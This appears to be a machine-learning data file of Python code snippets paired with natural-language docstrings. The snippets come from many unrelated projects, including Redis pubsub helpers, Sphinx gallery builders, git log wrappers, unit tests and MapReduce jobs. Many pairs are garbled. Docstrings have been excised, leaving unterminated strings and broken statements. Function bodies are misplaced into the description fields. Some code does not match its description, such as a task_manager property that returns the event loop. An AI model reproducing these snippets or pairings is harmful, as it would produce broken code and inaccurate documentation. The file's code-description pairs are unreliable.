exists.\"\n self.pubsub.subscribe(**channel_callback_dict)\n thread = self.pubsub.run_in_thread(sleep_time=0.1, daemon=True)\n log.debug(\"Started ResettableCommunicator thread for multiple channels: %s\", thread)\n self.thread = thread\n", "nl": "Terminate connection to redis pubsub.try:self.thread.stop()self.thread.join(timeout=REDIS_THREAD_JOIN_TIMEOUT)self.pubsub.close()self.thread = None# pylint: disable=broad-exceptexcept Exception as ex:logging.debug(\"Error when stopping all threads: %s\", ex)def sub_to_multiple_channels(self, channel_callback_dict: Dict):Subscribe to multiple redis channels."} {"code": "def generate_dir_rst(directory, fhindex, example_dir, root_dir, plot_gallery, seen_backrefs):\n if not directory == '.':\n target_dir = os.path.join(root_dir, directory)\n src_dir = os.path.join(example_dir, directory)\n else:\n target_dir = root_dir\n src_dir = example_dir\n if not os.path.exists(os.path.join(src_dir, 'README.txt')):\n raise ValueError('Example directory %s does not have a README.txt' %\n src_dir)\n\n fhindex.write(\"\"\"\n if not os.path.exists(target_dir):\n os.makedirs(target_dir)\n sorted_listdir = line_count_sort(os.listdir(src_dir),\n src_dir)\n if not os.path.exists(os.path.join(directory, 'images', 'thumb')):\n os.makedirs(os.path.join(directory, 'images', 'thumb'))\n for fname in sorted_listdir:\n if fname.endswith('py'):\n backrefs = generate_file_rst(fname, target_dir, src_dir, root_dir, plot_gallery)\n new_fname = os.path.join(src_dir, fname)\n _, snippet, _ = extract_docstring(new_fname, True)\n fhindex.write(_thumbnail_div(directory, directory, fname, snippet))\n fhindex.write(\"\"\"\n for backref in backrefs:\n include_path = os.path.join(root_dir, '../modules/generated/%s.examples' % backref)\n seen = backref in seen_backrefs\n with open(include_path, 'a' if seen else 'w') as ex_file:\n if not seen:\n print(file=ex_file)\n print('Examples using ``%s``' % backref, file=ex_file)\n print('-----------------%s--' % ('-' * len(backref)),\n file=ex_file)\n print(file=ex_file)\n rel_dir = os.path.join('../../auto_examples', directory)\n ex_file.write(_thumbnail_div(directory, rel_dir, fname, snippet))\n seen_backrefs.add(backref)\n fhindex.write(\"\"\"\n\nDOCMODULES = ['sklearn', 'matplotlib', 'numpy', 'scipy']\n\n", "nl": " Generate the rst file for an example directory."} {"code": "def process_vis(weights, num_points, n_hidden=100, cell=\"RUM\"):\n if cell == \"RUM\":\n feed_temp_target = weights[\n :, :(n_hidden + 10) * n_hidden]\n feed_temp_target = np.reshape(feed_temp_target,\n (num_points, n_hidden + 10, n_hidden))\n feed_temp_target_bias = weights[\n :, (n_hidden + 10) * n_hidden:(n_hidden + 10) * n_hidden + n_hidden]\n feed_temp_embed = weights[:, - 10 * n_hidden:]\n feed_temp_embed = np.reshape(\n feed_temp_embed, (num_points, 10, n_hidden))\n return feed_temp_target, feed_temp_target_bias, feed_temp_embed\n else:\n feed_temp_theta0 = weights[:, :n_hidden // 2]\n feed_temp_theta1 = weights[:, -(n_hidden // 2 - 1):]\n return feed_temp_theta0, feed_temp_theta1\n\n", "nl": "helper function for processing the placeholder weights for visualization"} {"code": "def runGitLog(self, depth):\n\t\tif self.debug == True:\n\t\t\tprint \"Running 'git log --pretty=format:\\\"%%H\\\" -n %s'\" % depth\n\n\t\tif self.dry == True:\n\t\t\tso = \"\"\"4e604fecc22b498e0d46854ee4bfccdfc1932b12\n\t\t\tse = \"\"\n\t\t\trc = 0\n\t\t\treturn so, se, rc\n\t\telse:\n\t\t\treturn runCommand(\"git log --pretty=format:\\\"%%H\\\" -n %s\" % depth)\n\n\nclass SimpleCommand:\n", "nl": "Run 'git log --pretty=format:\"%%H\" -n DEPTH'.It returns so, se, rc triple."} {"code": "def task_manager(self) -> TaskManager:\n return self._loop\n\n @property", "nl": "Get the task manager.return self._task_manager@propertydef loop(self) -> Optional[AbstractEventLoop]:Get event loop."} {"code": "def create_team_id(team_id, idx):\n if team_id is None:\n return \"\n elif not isinstance(team_id, str):\n raise ValueError(\"team_id must be string or None.\")\n elif not team_id:\n raise ValueError(\"team_id must not be empty.\")\n elif team_id.startswith(\"\n raise ValueError(\"team_id must not start with\n else:\n return team_id\n\n\n@dataclass\nclass MatchID:\n \"\"\"Small helper class to keep track of which match is played for better logging.\"\"\"", "nl": " Checks that the team_id in the config is valid or elsecreates one from the given index. "} {"code": "def __ask_random_question(self, d_questions):\n self.random_question = choice(list(d_questions))\n self.answer_1 = d_questions[self.random_question][0]\n self.answer_2 = d_questions[self.random_question][1]\n self.answer_3 = d_questions[self.random_question][2]\n self.correct_answer_index = d_questions[self.random_question][3]\n self.correct_answer = d_questions[self.random_question][self.correct_answer_index]\n", "nl": "Private method to ask a random question from the databaseParams:d_questions: dict"} {"code": "def get_status(self):\n return [l1.get_visible() for (l1, l2) in self.lines]\n", "nl": "Return a tuple of the status (True/False) of all of the check buttons."} {"code": "def test_max_iou_assigner_with_empty_boxes():\n self = MaxIoUAssigner(\n pos_iou_thr=0.5,\n neg_iou_thr=0.5,\n )\n bboxes = torch.empty((0, 4))\n gt_bboxes = torch.FloatTensor([\n [0, 0, 10, 9],\n [0, 10, 10, 19],\n ])\n gt_labels = torch.LongTensor([2, 3])\n\n assign_result = self.assign(bboxes, gt_bboxes, gt_labels=gt_labels)\n assert len(assign_result.gt_inds) == 0\n assert tuple(assign_result.labels.shape) == (0, )\n\n assign_result = self.assign(bboxes, gt_bboxes, gt_labels=None)\n assert len(assign_result.gt_inds) == 0\n assert assign_result.labels is None\n\n", "nl": "Test corner case where an network might predict no boxes"} {"code": "def _permitted(self, path):\n return is_local(path)\n", "nl": "Return True if the given path is one we are permitted toremove/modify, False otherwise."} {"code": "def test_state_is_not_None_and_state_file_is_None(self):\n instance = MockFileInput()\n instance._file = None\n fileinput._state = instance\n self.do_test_call_input()\n", "nl": "Tests invoking fileinput.input() when fileinput._state is not Nonebut its _file attribute *is* None. Expect it to create and returna new fileinput.FileInput object with all method parameters passedexplicitly to the __init__() method; also ensure thatfileinput._state is set to the returned instance."} {"code": "def run(self, job):\n\n Args:\n unused_key: int. Line number of EventEntity JSON object in file.\n value: str. Instance of EventEntity extracted from file.\n\n Yields:\n A tuple of (user_id, 1).\n Value of 1 represents one instance of event for the user.\n \"\"\"", "nl": "Runs the mapreduce pipeline job.# Validate input source and output directory. mrs. MapReduce framework# expects the value 1 if the job fails. If the input source is empty or# the output directory cannot be found, the job is a failure and must# return 1.source = self.input_data(job)if not source:return 1outdir = self.output_dir()if not outdir:return 1# Set the configuration for pipeline.# First MapReduce phase: filter out event data and aggregate by user# key.user_to_event_instance_count = job.map_data(source, self.map_userid_to_1)source.close()total_event_counts_per_user = job.reduce_data(user_to_event_instance_count, self.sum_event_instances_per_user)user_to_event_instance_count.close()# Second MapReduce phase: Create a histogram with aggregated data.aggregated_event_counts = job.map_data(total_event_counts_per_user,self.map_all_event_counts_to_single_key)total_event_counts_per_user.close()histogram = job.reduce_data(aggregated_event_counts,self.create_histogram_from_aggregated_event_counts)aggregated_event_counts.close()# Third MapReduce phase: Flatten the data and format it to CSV. This# phase calls the map() and reduce() functions defined in CsvGenerator# class.flattened_histogram = job.map_data(histogram, self.map)histogram.close()histogram_csv = job.reduce_data(flattened_histogram, self.reduce, format=mapreduce.CsvWriter,outdir=outdir)flattened_histogram.close()histogram_csv.close()# Run the job with above configurations. job.wait() does not return any# value until the entire job is done. Partial progress of each phases# will be printed while the job is running.ready = []while not ready:ready = job.wait(histogram_csv, timeout=2.0)first_map_percent = 100 * job.progress(user_to_event_instance_count)first_reduce_percent = 100 * job.progress(total_event_counts_per_user)second_map_percent = 100 * job.progress(aggregated_event_counts)second_reduce_percent = 100 * job.progress(histogram)third_map_percent = 100 * job.progress(flattened_histogram)third_reduce_percent = 100 * job.progress(histogram_csv)string_map = {'map1_name': self.map_userid_to_1.__name__,'map1_progress': first_map_percent,'reduce1_name': self.sum_event_instances_per_user.__name__,'reduce1_progress': first_reduce_percent,'map2_name': self.map_all_event_counts_to_single_key.__name__,'map2_progress': second_map_percent,'reduce2_name': (self.create_histogram_from_aggregated_event_counts.__name__),'reduce2_progress': second_reduce_percent,'map3_name': self.map.__name__,'map3_progress': third_map_percent,'reduce3_name': self.reduce.__name__,'reduce3_progress': third_reduce_percent}print ('%(map1_name)s: %(map1_progress).1f complete. \\n''%(reduce1_name)s: %(reduce1_progress).1f complete. \\n''%(map2_name)s: %(map2_progress).1f complete. \\n''%(reduce2_name)s: %(reduce2_progress).1f complete. \\n''csv_%(map3_name)s: %(map3_progress).1f complete. \\n''csv_%(reduce3_name)s: %(reduce3_progress).1f complete. \\n' %string_map)sys.stdout.flush()return 0def map_userid_to_1(self, unused_key, value):Maps user_id to value of 1."} {"code": "def get_export_resource_class(self):\n return self.get_resource_class(usage='export')\n", "nl": "Returns ResourceClass to use for export."} {"code": "def test_identicalNotUnequal(self):\n u = URL.fromText('http://localhost/')\n self.assertFalse(u != u, \"%r == itself\" % u)\n\n", "nl": "Identical L{URL}s are not unequal (C{!=}) to each other."} {"code": "def on_server_state(self, when, servername, state):\n\n @abc.abstractmethod", "nl": "Invoked when server state changes."} {"code": "def order_by_json_path(self, json_path, language_code=None, order='asc'):\n return self.get_queryset(language_code).order_by_json_path(\n json_path, language_code=language_code, order=order)", "nl": "Makes the method available through the manager (i.e. `Model.objects`).Usage example:MyModel.objects.order_by_json_path('title', order='desc')MyModel.objects.order_by_json_path('title', language_code='en_us', order='desc')"} {"code": "def check_for_Y2038_problem(self, rootfs, native_sysroot):", "nl": "Check if the filesystem is affected by the Y2038 problem(Y2038 problem = 32 bit time_t overflow in January 2038)"} {"code": "def as_unicode(self):\n result = self.domain\n if self.local:\n result = self.local + u'@' + result\n if self.resource:\n result = result + u'/' + self.resource\n if not JID.cache.has_key(result):\n JID.cache[result] = self\n return result\n", "nl": "Unicode string JID representation.:return: JID as Unicode string."} {"code": "def getFormatString(self):\n return ['a0r', 'a1r', 'a2r', 'a3r',\n 'a4r', 'a5r', 'a6r', 'a7r',\n 'a8r', 'a9r', 'a10r', 'a11r',\n 'a12r', 'a13r', 'a14r', 'a15r'\n ]\n", "nl": "Returns the print format."} {"code": "def __call__(self, *args, **kwargs):", "nl": "Evaluates value of a function on given arguments.Parameters----------args : listList of inputs to the function. All inputs are required, even whensome of them are not necessary to calculate requested subset ofoutputs.kwargs : dictThe function inputs can be passed as keyword argument. For this, usethe name of the input or the input instance as the key.Keyword argument ``output_subset`` is a list of either indices of thefunction's outputs or the keys belonging to the `output_keys` dictand represent outputs that are requested to be calculated. Regardlessof the presence of ``output_subset``, the updates are always calculatedand processed. To disable the updates, you should use the ``copy``method with ``delete_updates=True``.Returns-------listList of outputs on indices/keys from ``output_subset`` or all of them,if ``output_subset`` is not passed."} {"code": "def get_service_name():\n name = os.environ.get('CONTAINER_NAME', '')\n if not name:", "nl": "Returns the service name of the container calling it.name = os.environ.get('SERVICE_NAME', '')if not name:raise MaestroEnvironmentError('Service name was not defined')return namedef get_container_name():Returns the name of the container calling it."} {"code": "def test_toptobottomModule(self):\n self.config.parseOptions([\n \"--order\", \"toptobottom\", \"twisted.trial.test.ordertests\"])\n loader = trial._getLoader(self.config)\n suite = loader.loadByNames(self.config['tests'])\n\n self.assertEqual(\n testNames(suite), [\n 'twisted.trial.test.ordertests.FooTest.test_first',\n 'twisted.trial.test.ordertests.FooTest.test_second',\n 'twisted.trial.test.ordertests.FooTest.test_third',\n 'twisted.trial.test.ordertests.FooTest.test_fourth',\n 'twisted.trial.test.ordertests.BazTest.test_baz',\n 'twisted.trial.test.ordertests.BarTest.test_bar'])\n\n", "nl": "--order=toptobottom causes trial to run test classes within a givenmodule from top to bottom as they are defined in the module's source."} {"code": "def gelu(x):\n return x * 0.5 * (1.0 + torch.erf(x / math.sqrt(2.0)))\n\n", "nl": " Original Implementation of the gelu activation function in Google Bert repo when initially created.For information: OpenAI GPT's gelu is slightly different (and gives slightly different results):0.5 * x * (1 + torch.tanh(math.sqrt(2 / math.pi) * (x + 0.044715 * torch.pow(x, 3))))Also see https://arxiv.org/abs/1606.08415"} {"code": "def get_command(self, ctx, cmd_name):\n raise NotImplementedError()\n", "nl": "Given a context and a command name, this returns a:class:`Command` object if it exists or returns `None`."} {"code": "def test_map_db_wildcard(self):\n namespace_config = NamespaceConfig(namespace_set=[\"db.*\"])\n self.assertIsNone(namespace_config.map_namespace(\"dbxcol\"))\n self.assertEqual(namespace_config.map_namespace(\"db.col\"), \"db.col\")\n", "nl": "Test a crazy namespace renaming scheme with wildcards.namespace_config = NamespaceConfig(namespace_options={\"db.1_*\": \"db1.new_*\",\"db.2_*\": \"db2.new_*\",\"db.3\": \"new_db.3\",})self.assertEqual(set(namespace_config.map_db(\"db\")), set([\"db1\", \"db2\", \"new_db\"]))def test_include_wildcard_periods(self):Test the '.' in the namespace only matches '.'"} {"code": "def _set_sentinel():\n\n Compatibility is maintained by maintaining self.locked_status\n which is a boolean that stores the state of the lock. Pickling of\n the lock, though, should not be done since if the _thread module is\n then used with an unpickled ``lock()`` from here problems could\n occur from this class not having atomic methods.\n\n \"\"\"", "nl": "Dummy implementation of _thread._set_sentinel().return LockType()class LockType(object):Class implementing dummy implementation of _thread.LockType."} {"code": "def _add_to_bulk(self, bulkobj):\n\n __slots__ = (\"_filter\", \"_collation\", \"_hint\")\n", "nl": "Add this operation to the _Bulk instance `bulkobj`.bulkobj.add_delete(self._filter, 1, collation=self._collation, hint=self._hint)def __repr__(self):return \"DeleteOne(%r, %r)\" % (self._filter, self._collation)def __eq__(self, other: Any) -> bool:if type(other) == type(self):return (other._filter, other._collation) == (self._filter, self._collation)return NotImplementeddef __ne__(self, other: Any) -> bool:return not self == otherclass DeleteMany(object):Represents a delete_many operation."} {"code": "def decrypt(input_string: str, key: int, alphabet: str | None = None) -> str:\n key *= -1\n return encrypt(input_string, key, alphabet)\n\n\nif __name__ == \"__main__\":\n import doctest\n\n doctest.testmod()", "nl": "Mendekode string teks sandi yang diberikandan mengembalikan teks biasa yang didekodekan>>> alphabet = 'abcdefghijklmnopqrstuvwxyz'>>> decrypt('xnyzfxn ufsyfn frfs', 5, alphabet)'situasi pantai aman'"} {"code": "def __init__(self, wait_time=0., logging=None, directory=None):\n\n self.is_active = bool()\n self.n_requests = int()\n\n self.wait_time = float()\n\n self.start_time = str()\n self.end_time = str()\n\n self.time_last_req = float()\n\n self.set_wait_time(wait_time)\n self.open()\n\n self.logging, self.log = self._set_up_logging(logging, directory)\n\n", "nl": "Initialize a requester object.Parameters----------wait_time : float, optional, default: 0.0Amount of time to wait between requests, in seconds.logging : {None, 'print', 'store', 'file'}, optionalWhat kind of logging, if any, to do for requested URLs.directory : SCDB or str or None, optionalA string or object containing a file path, used for logging.Examples--------Initialize a ``Requester`` object, specifying a wait time of 0.1 seconds between requests:>>> requester = Requester(wait_time=0.1)"} {"code": "def get_multi_option(self, section, option_name, missing_value=None, subs: Substitutions = None):\n raise NotImplementedError()\n\n @abstractmethod", "nl": "Never Implemented"} {"code": "def on_sliced(self, evt):\n data, names, line = self.get_selected_data()\n if data != None:\n if line:\n f = LinePlotFrame(data, names)\n f.Show()\n else:\n f = ContourPlotFrame(data)\n f.Show()\n", "nl": " User has chosen to display a different part of the dataset. self.grid.Refresh()def on_plot(self, evt): User has chosen to plot the current selection "} {"code": "def from_string(self, string):\n\n\t\ts = item.item.to_string(self, u'logger')\n\t\tfor logvar in self.logvars:\n\t\t\ts += u'\\t' + self.experiment.syntax.create_cmd(\n\t\t\t\tu'log', [logvar]) + u'\\n'\n\t\treturn s", "nl": "See item.self.var.clear()self.comments = []self.reset()if string is None:returnfor line in string.split(u'\\n'):self.parse_variable(line)cmd, arglist, kwdict = self.experiment.syntax.parse_cmd(line)if cmd == u'log' and len(arglist) > 0:for var in arglist:if not self.experiment.syntax.valid_var_name(safe_decode(var)):raise osexception(u'Invalid variable name: %s' % var)self.logvars += arglistdef to_string(self):See item."} {"code": "def search(request, spec, operator='and'):\n api = pypi.proxy\n rv = []\n for k, v in spec.items():\n rv += api.search({k: v}, True)\n\n session = DBSession()\n release = Release.search(session, spec, operator)\n rv += [{'name': r.package.name,\n 'version': r.version,\n 'summary': r.summary,\n '_pypi_ordering':'',\n } for r in release]\n return rv\n\n\n@xmlrpc_method(endpoint='api')", "nl": "Search the package database using the indicated search spec.The spec may include any of the keywords described in the above list(except 'stable_version' and 'classifiers'),for example: {'description': 'spam'} will search description fields.Within the spec, a field's value can be a string or a list of strings(the values within the list are combined with an OR),for example: {'name': ['foo', 'bar']}.Valid keys for the spec dict are listed here. Invalid keys are ignored:nameversionauthorauthor_emailmaintainermaintainer_emailhome_pagelicensesummarydescriptionkeywordsplatformdownload_urlArguments for different fields are combined using either \"and\"(the default) or \"or\".Example: search({'name': 'foo', 'description': 'bar'}, 'or').The results are returned as a list of dicts{'name': package name,'version': package release version,'summary': package release summary}"} {"code": "def ex_result_folder(ex):\n rp = result_folder()\n fpath = os.path.join(rp, \"ex%d\" % ex)\n if not os.path.exists(fpath):\n create_dirs(fpath)\n return fpath\n\n", "nl": "Return the full path to the folder containing result files of the specifiedexperiment.ex: a positive integer."} {"code": "def getTtestPvalue(self, fs_dict1, fs_dict2, paired=None, ratio=None):\n try:\n from scipy import stats\n import numpy as np\n except ImportError:\n print(\"No python scipy/numpy library installed!\")\n return None\n\n ret = []\n s1 = self._process_files(fs_dict1, self._get_list_self, merge=False)\n s2 = self._process_files(fs_dict2, self._get_list_self, merge=False)\n\n for line in range(len(s1)):\n tmp = []\n if type(s1[line]) != list:\n tmp = s1[line]\n else:\n if len(s1[line][0]) < 2:\n continue\n for col in range(len(s1[line])):\n avg1 = self._get_list_avg(s1[line][col])\n avg2 = self._get_list_avg(s2[line][col])\n sample1 = np.array(s1[line][col])\n sample2 = np.array(s2[line][col])\n warnings.simplefilter(\"ignore\", RuntimeWarning)\n if (paired):\n if (ratio):\n (_, p) = stats.ttest_rel(np.log(sample1), np.log(sample2))\n else:\n (_, p) = stats.ttest_rel(sample1, sample2)\n else:\n (_, p) = stats.ttest_ind(sample1, sample2)\n flag = \"+\"\n if float(avg1) > float(avg2):\n flag = \"-\"\n tmp.append(flag + \"%f\" % (1 - p))\n tmp = \"|\".join(tmp)\n ret.append(tmp)\n return ret\n", "nl": "scipy lib is used to compute p-value of Ttestscipy: http://www.scipy.org/t-test: http://en.wikipedia.org/wiki/Student's_t-test"} {"code": "def worker():\n celery_commands = ['celery', '-A', 'plenario.tasks', 'worker', '-l', 'INFO']\n wait(subprocess.Popen(celery_commands))\n\n\n@manager.command", "nl": "Start up celery worker."} {"code": "def stitch_chunks(out, chunk_starts, chunk_ends, stride, path_stitching=False):\n nchunks = out.shape[1]\n\n if nchunks == 1:\n return out[:, 0]\n else:\n start = chunk_starts[0] // stride\n end = (chunk_ends[0] + chunk_starts[1]) // (2 * stride)\n if path_stitching:\n end += 1\n stitched_out = [out[start:end, 0]]\n\n for i in range(1, nchunks - 1):\n start = (chunk_ends[i - 1] - chunk_starts[i]) // (2 * stride)\n end = (chunk_ends[i] + chunk_starts[i + 1] -\n 2 * chunk_starts[i]) // (2 * stride)\n if path_stitching:\n start += 1\n end += 1\n stitched_out.append(out[start:end, i])\n\n start = (chunk_ends[-2] - chunk_starts[-1]) // (2 * stride)\n end = (chunk_ends[-1] - chunk_starts[-1]) // stride\n if path_stitching:\n start += 1\n end += 1\n stitched_out.append(out[start:end, -1])\n\n return torch.cat(stitched_out, 0)\n\n", "nl": " Stitch together neural network output or viterbi path from overlappingchunksArgs:out (:class:`torch.Tensor`): Tensor containing output of network,dimensions time x batch x features.chunk_starts (:class:`ndarray`): array containing the coordinate of thestart position of each chunk in the signal.chunk_ends (:class:`ndarray`): array containing the coordinate of theend position of each chunk in the signal (exclusive).stride (int): Stride of the model used to call `out`.path_stitching (bool): Include last value in stitching, default False.Returns::class:`torch.Tensor`: A block x feature matrix containing the stitchedchunks."} {"code": "def mask_from_embedding(emb):\n return weights_nonzero(tf.reduce_sum(tf.abs(emb), axis=3, keep_dims=True))\n\n", "nl": "Input embeddings -> padding mask.We have hacked symbol_modality to return all-zero embeddings for padding.Returns a mask with 0.0 in the padding positions and 1.0 elsewhere.Args:emb: a Tensor with shape [batch, width, height, depth].Returns:a 0.0/1.0 Tensor with shape [batch, width, height, 1]."} {"code": "def hover(self,context,x,y):\n self.mouse = Vector((x, y))\n if len(self.pts) == 0:\n return\n", "nl": "hovering happens in screen space, 20 pixels thresh for points, 30 for edges"} {"code": "def isinf(self) -> ir.BooleanValue:\n\n Returns\n -------\n IntegerValue\n The precision of the expression.\n \"\"\"", "nl": "Return whether the value is infinity.from ibis.expr import operations as opsreturn ops.IsInf(self).to_expr()@publicclass FloatingScalar(NumericScalar, FloatingValue):pass # noqa: E701,E302@publicclass FloatingColumn(NumericColumn, FloatingValue):pass # noqa: E701,E302@publicclass DecimalValue(NumericValue):def precision(self) -> IntegerValue:Return the precision of `arg`."} {"code": "def class_uninstrument(self, cls):\n", "nl": "Called before the given class is uninstrumented.To get at the :class:`.ClassManager`, use:func:`.manager_of_class`."} {"code": "def _get_companions(self) -> np.ndarray:\n return np.random.permutation(np.arange(self.n_states))\n", "nl": "Return an array of indices corresponding to a walker chosen at random.Self selection can happen.:return: np.ndarray containing the indices of the companions to be chosen for each walker."} {"code": "def _validate_end_states(end_states: List[str]) -> Tuple[bool, str]:\n if not isinstance(end_states, list):\n return (\n False,\n \"Invalid type for roles. Expected list. Found '{}'.\".format(\n type(end_states)\n ),\n )\n\n for end_state in end_states:\n if not _is_valid_regex(END_STATE_REGEX_PATTERN, end_state):\n return (\n False,\n \"Invalid name for end_state '{}'. End_state names must match the following regular expression: {} \".format(\n end_state, END_STATE_REGEX_PATTERN\n ),\n )\n\n return True, \"Dialogue end_states are valid.\"\n\n", "nl": "Evaluate whether end_states field in a protocol specification is valid.:param end_states: List of end states of a dialogue.:return: Boolean result, and associated message."} {"code": "def is_on(self):\n return DeviceInfo(\n identifiers={(DOMAIN, self.data.product.id)},\n name=self.data.product.name,\n manufacturer=\"Easee\",\n model=\"Equalizer\",\n configuration_url=f\"https://easee.cloud/mypage/products/{self.data.product.id}\",\n )", "nl": "Return true if the binary sensor is on._LOGGER.debug(\"Getting state of %s\" % self._entity_name)return self._state@propertydef device_info(self):Return the device information."} {"code": "def num_steps(self):\n return len(self.actions)\n\n @property", "nl": "Get the number of timesteps in the recording."} {"code": "def _invoke_internal(self, function_arn, payload, client_context, invocation_type=\"RequestResponse\"):\n customer_logger.debug('Invoking Lambda function \"{}\" with Greengrass Message \"{}\"'.format(function_arn, payload))\n\n try:\n invocation_id = self.ipc.post_work(function_arn, payload, client_context, invocation_type)\n\n if invocation_type == \"Event\":\n return {'Payload': b'', 'FunctionError': ''}\n\n work_result_output = self.ipc.get_work_result(function_arn, invocation_id)\n if not work_result_output.func_err:\n output_payload = StreamingBody(work_result_output.payload)\n else:\n output_payload = work_result_output.payload\n invoke_output = {\n 'Payload': output_payload,\n 'FunctionError': work_result_output.func_err,\n }\n return invoke_output\n except IPCException as e:\n customer_logger.exception(e)\n raise InvocationException('Failed to invoke function due to ' + str(e))\n\n\nclass StreamingBody(object):\n \"\"\"Wrapper class for http response payload", "nl": "This private method is seperate from the main, public invoke method so that other code within this SDK cangive this Lambda client a raw payload/client context to invoke with, rather than having it built for them.This lets you include custom ExtensionMap_ values like subject which are needed for our internal pinned Lambdas."} {"code": "def childExecCommand(self, text):\n self._interpreter.execCommand(text)\n\n\nclass MitSchemeTermWidget(_AbstractReplTermWidget):\n \"\"\"Scheme terminal emulator widget\n", "nl": "Execute command. Called by parent class"} {"code": "def calculate(self, doc_terms=[], actual_id='', doc_length=-1):\n calculated = {\n 'prob': -1,\n 'calc_id': '',\n 'actual_id': actual_id,\n 'seen_unseen_count': (0,0)\n }\n terms = self.lr_padding(doc_terms)\n ngrams = self.to_ngrams(terms)\n for doc_id in self.term_count_n:\n doc_pr = 0\n new_doc = True\n seen_count = 0\n unseen_count = 0\n for ngram in ngrams:\n (ngram_pr, ngram_seen) = self.pr_ngram(doc_id, ngram,\n new_doc=new_doc, log=True, logbase=2, doc_length=doc_length)\n doc_pr += ngram_pr\n new_doc = False\n if ngram_seen:\n seen_count += 1\n else:\n unseen_count += 1\n doc_pr += self.pr_doc(doc_id, doc_length=doc_length)\n if self.verbose:\n print doc_id, actual_id, doc_pr\n if calculated['prob'] == -1 or doc_pr < calculated['prob']:\n calculated['prob'] = doc_pr\n calculated['calc_id'] = doc_id\n calculated['seen_unseen_count'] = (seen_count, unseen_count)\n self.unseen_counts.per_doc(doc_id=calculated['actual_id'],\n seen_unseen=calculated['seen_unseen_count'])\n self.unseen_counts.per_cic(calculated_id=calculated['calc_id'],\n actual_id=calculated['actual_id'],\n seen_unseen=calculated['seen_unseen_count'])\n return calculated\n\n\n\nif __name__ == '__main__':\n", "nl": "Given a set of terms, doc_termsWe find the doc in training data (calc_id),whose LM is more likely to produce those termsThen return the data structure calculated backdoc_length is passed to pr_ngram() and pr_doc()it is up to them to use it or not.normally, it should be ignored if doc_length == -1calculated{prob: calculated probability Pr(calc_id/doc_terms)calc_id: Document ID in training data.actual_id: Just returned back as passed to us.seen_unseen_count: Counts for terms seen/unseen in training data}"} {"code": "def find_data_files(self, package, src_dir):\n for package, src_dir, build_dir, filenames in self.data_files:\n for filename in filenames:\n target = os.path.join(build_dir, filename)\n self.mkpath(os.path.dirname(target))\n srcfile = os.path.join(src_dir, filename)\n outf, copied = self.copy_file(srcfile, target)\n make_writable(target)\n srcfile = os.path.abspath(srcfile)\n if (copied and\n srcfile in self.distribution.convert_2to3_doctests):\n self.__doctests_2to3.append(outf)\n", "nl": "Return filenames for package's data files in 'src_dir'patterns = self._get_platform_patterns(self.package_data,package,src_dir,)globs_expanded = map(glob, patterns)# flatten the expanded globs into an iterable of matchesglobs_matches = itertools.chain.from_iterable(globs_expanded)glob_files = filter(os.path.isfile, globs_matches)files = itertools.chain(self.manifest_files.get(package, []),glob_files,)return self.exclude_data_files(package, src_dir, files)def build_package_data(self):Copy data files into build directory"} {"code": "def save(self, *args, **kwargs):\n lti_provider = self.lti_provider\n\n if lti_provider and not self.url:\n is_regex = lti_provider.get(\"is_base_url_regex\")\n base_url = lti_provider.get(\"base_url\", \"\")\n if is_regex:\n self.url = str(exrex.getone(base_url))\n else:\n self.url = base_url\n\n super().save(*args, **kwargs)\n\n @property", "nl": "Initialize the url attribute if a predefined provider is used."} {"code": "def measure(code_str, times=1, label=None):\n frame = sys._getframe(1)\n locs, globs = frame.f_locals, frame.f_globals\n\n code = compile(code_str,\n 'Test name: %s ' % label,\n 'exec')\n i = 0\n elapsed = jiffies()\n while i < times:\n i += 1\n exec(code, globs, locs)\n elapsed = jiffies() - elapsed\n return 0.01*elapsed\n\n", "nl": "Return elapsed time for executing code in the namespace of the caller.The supplied code string is compiled with the Python builtin ``compile``.The precision of the timing is 10 milli-seconds. If the code will executefast on this timescale, it can be executed many times to get reasonabletiming accuracy.Parameters----------code_str : strThe code to be timed.times : int, optionalThe number of times the code is executed. Default is 1. The code isonly compiled once.label : str, optionalA label to identify `code_str` with. This is passed into ``compile``as the second argument (for run-time error messages).Returns-------elapsed : floatTotal elapsed time in seconds for executing `code_str` `times` times.Examples-------->>> times = 10>>> etime = np.testing.measure('for i in range(1000): np.sqrt(i**2)', times=times)>>> print(\"Time for a single execution : \", etime / times, \"s\") # doctest: +SKIPTime for a single execution : 0.005 s"} {"code": "def write(self, b):\n self._checkClosed()\n self._checkWritable()\n try:\n return os.write(self._fd, b)\n except BlockingIOError:\n return None\n", "nl": "Write bytes b to file, return number written.Only makes one system call, so not all of the data may be written.The number of bytes actually written is returned. In non-blocking mode,returns None if the write would block."} {"code": "def _score_ngrams(ngrams: collections.Counter) -> float:\n num_total = sum(ngrams.values())\n num_repeated = sum([c for c in ngrams.values() if c > 1])\n return num_repeated / num_total if num_total > 0 else 0\n\n", "nl": "Compute n-gram based repeitition scores.Args:ngrams: A Counter object mapping each ngram to number of occurrences for thetext.Returns:A Score float."} {"code": "def test_wrong_branch(qisrc_action, git_server, record_messages):\n git_worktree = TestGitWorkTree()\n foo1 = git_worktree.create_git_project(\"foo\")\n foo_git = qisrc.git.Git(foo1.path)\n (_rc, out) = foo_git.call(\"log\", \"-1\", \"HEAD\", \"--pretty=%H\", raises=False)\n foo_git.checkout(out)\n qisrc_action(\"status\")\n assert record_messages.find(\"not on any branch\")\n\n", "nl": " Test Wrong Branch git_server.create_repo(\"foo.git\")git_server.create_repo(\"bar.git\")qisrc_action(\"init\", git_server.manifest_url)git_worktree = TestGitWorkTree()foo1 = git_worktree.get_git_project(\"foo\")_bar1 = git_worktree.get_git_project(\"bar\")foo_git = qisrc.git.Git(foo1.path)foo_git.checkout(\"-B\", \"devel\")qisrc_action(\"status\")assert record_messages.find(\"Some projects are not on the expected branch\")assert record_messages.find(r\"\\* foo\\s+devel\\s+master\")def test_not_on_any_branch(qisrc_action, record_messages): Test Not On Any Branch "} {"code": "def inferred_type(self) -> str:\n return \"integer\"\n\n @property", "nl": "Always 'integer' for ``Int64Index``"} {"code": "def set_pulse_on_hit_rule(self, enable_switch: SwitchSettings, coil: DriverSettings):\n self.debug_log(\"Setting Pulse on hit and enable and release HW Rule. \"\n \"Switch: %s, Driver: %s\",\n enable_switch.hw_switch.number, coil.hw_driver.number)\n\n self._check_switch_coil_combination(enable_switch, coil)\n\n driver = coil.hw_driver\n\n cmd = '{}{},{},{},18,{},{},{},{},00'.format(\n driver.get_config_cmd(),\n driver.number,\n driver.get_control_for_cmd(enable_switch),\n enable_switch.hw_switch.number[0],\n Util.int_to_hex_string(coil.pulse_settings.duration),\n driver.get_pwm_for_cmd(coil.pulse_settings.power),\n driver.get_hold_pwm_for_cmd(coil.hold_settings.power),\n 